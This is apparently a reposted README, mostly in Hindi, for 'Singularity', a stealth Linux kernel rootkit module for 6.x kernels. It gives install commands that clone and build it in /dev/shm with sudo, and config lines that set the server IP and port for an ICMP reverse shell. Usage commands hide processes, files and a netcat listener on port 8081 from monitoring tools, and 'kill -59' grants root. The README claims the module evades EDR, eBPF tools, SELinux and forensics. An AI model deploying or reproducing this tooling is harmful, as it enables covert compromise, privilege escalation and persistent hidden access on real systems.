
6.x कर्नेल के लिए स्टेल्थी Linux कर्नेल रूटकिट (LKM), जिसमें उन्नत प्रोसेस/नेटवर्क छिपाना, प्रिविलेज एस्केलेशन, और eBPF सुरक्षा टूल्स, LKRG, SELinux, तथा मेमोरी फोरेंसिक्स की व्यापक चोरी शामिल है।
"क्या हम फोरेंसिक को थोड़ा काम दें?"
यह प्रोजेक्ट मेरे लिए एक बहुत खास महिला से प्रेरित था: मोसिन्हा
सिंगुलैरिटी आधुनिक 6.x कर्नेल के लिए डिज़ाइन किया गया एक शक्तिशाली लिनक्स कर्नेल मॉड्यूल (LKM) रूटकिट है। यह ftrace बुनियादी ढांचे के माध्यम से उन्नत सिस्टम कॉल हुकिंग के द्वारा व्यापक स्टील्थ क्षमताएं प्रदान करता है।
पूर्ण शोध लेख (पुराना संस्करण): Singularity: A Final Boss Linux Kernel Rootkit
EDR बचाव केस स्टडी: Bypassing Elastic EDR with Singularity
POC वीडियो: Singularity बनाम eBPF सुरक्षा उपकरण: Singularity vs eBPF security tools
Singularity हुक के साथ eBPF सुरक्षा को तोड़ना: Breaking eBPF
सिंगुलैरिटी एक परिष्कृत रूटकिट है जो कर्नेल स्तर पर काम करता है, प्रदान करता है:
/sys/fs/cgroup/*/cgroup.procs के माध्यम से पहचान को रोकने के लिए Cgroup PID फ़िल्टरिंगcd /dev/shm git clone https://github.com/MatheuZSecurity/Singularity cd Singularity sudo bash setup.sh cd ..
बस इतना ही। मॉड्यूल स्वचालित रूप से:
- lsmod, /proc/modules, /sys/module से खुद को छिपाता है
- कर्नेल टेंट फ़्लैग्स को साफ़ करता है
- dmesg, journalctl -k, klogctl से संवेदनशील स्ट्रिंग्स को फ़िल्टर करता है
- आपके छिपे हुए फ़ाइलों और प्रक्रियाओं की सुरक्षा शुरू करता है
### महत्वपूर्ण नोट्स
**लोड करने के बाद मॉड्यूल स्वचालिक रूप से खुद को छिपा लेता है**
**कोई अनलोड सुविधा नहीं है - हटाने के लिए रीबूट आवश्यक है**
**पहले वीएम में परीक्षण करें - पुनरारंभ किए बिना हटाया नहीं जा सकता**
## कॉन्फ़िगरेशन
### अपना सर्वर IP और पोर्ट सेट करें
**`include/core.h` को संपादित करें:**```c
#define YOUR_SRV_IP "192.168.1.100" // Change this to your server IP
#define YOUR_SRV_IPv6 { .s6_addr = { [15] = 1 } } // IPv6 if needed
संपादित करें modules/icmp.c:```c
#define SRV_PORT "8081" // Change this to your desired port
**संपादित करें `modules/bpf_hook.c`:**```c
#define HIDDEN_PORT 8081 // Must match SRV_PORT
modules/hiding_tcp.c को संपादित करें:```c
#define PORT 8081 // Must match SRV_PORT
**महत्वपूर्ण**: उपयुक्त नेटवर्क छिपाने और ICMP रिवर्स शेल कार्यक्षमता के लिए सभी पोर्ट परिभाषाएँ मेल खानी चाहिए।
## उपयोग
### प्रक्रियाएँ छिपाएँ```bash
# Hide current shell
kill -59 $$
# Hide specific process
kill -59 <PID>
Process will be invisible to ps, top, htop, /proc, and all monitoring tools. All child processes are automatically tracked and hidden.
आपके कॉन्फ़िगर किए गए पैटर्न से मेल खाने वाली फ़ाइलें स्वचालित रूप से छिप जाती हैं:```bash mkdir singularity echo "secret" > singularity/data.txt
ls -la | grep singularity
cat singularity/data.txt
cd singularity
<p align="center">
<img src="https://assets.kitploit.com/production/public/readmes/10489/13713f834a730a67b38b024c092d77eb111a7d38e2fa0ac16a8f36ffd3506f90.png">
</p>
### रूट बनें
**सिग्नल-आधारित विधि:**```bash
kill -59 $$
id # uid=0(root)
आपके कॉन्फ़िगर किए गए पोर्ट (डिफ़ॉल्ट: 8081) पर कनेक्शन स्वचालित रूप से छिपाए जाते हैं:```bash nc -lvnp 8081
ss -tulpn | grep 8081 # (no output) netstat -tulpn | grep 8081 # (no output) lsof -i :8081 # (no output) cat /proc/net/nf_conntrack | grep 8081 # (no output)
ss -tapen | grep 8081 # (no output) conntrack -L | grep 8081 # (no output)
Packets are dropped at raw socket level (tpacket_rcv) and hidden from:
- /proc/net/* interfaces (tcp, tcp6, udp, udp6)
- /proc/net/nf_conntrack
- Netlink SOCK_DIAG queries (used by ss, lsof)
- Netlink NETFILTER/conntrack messages (used by conntrack tool)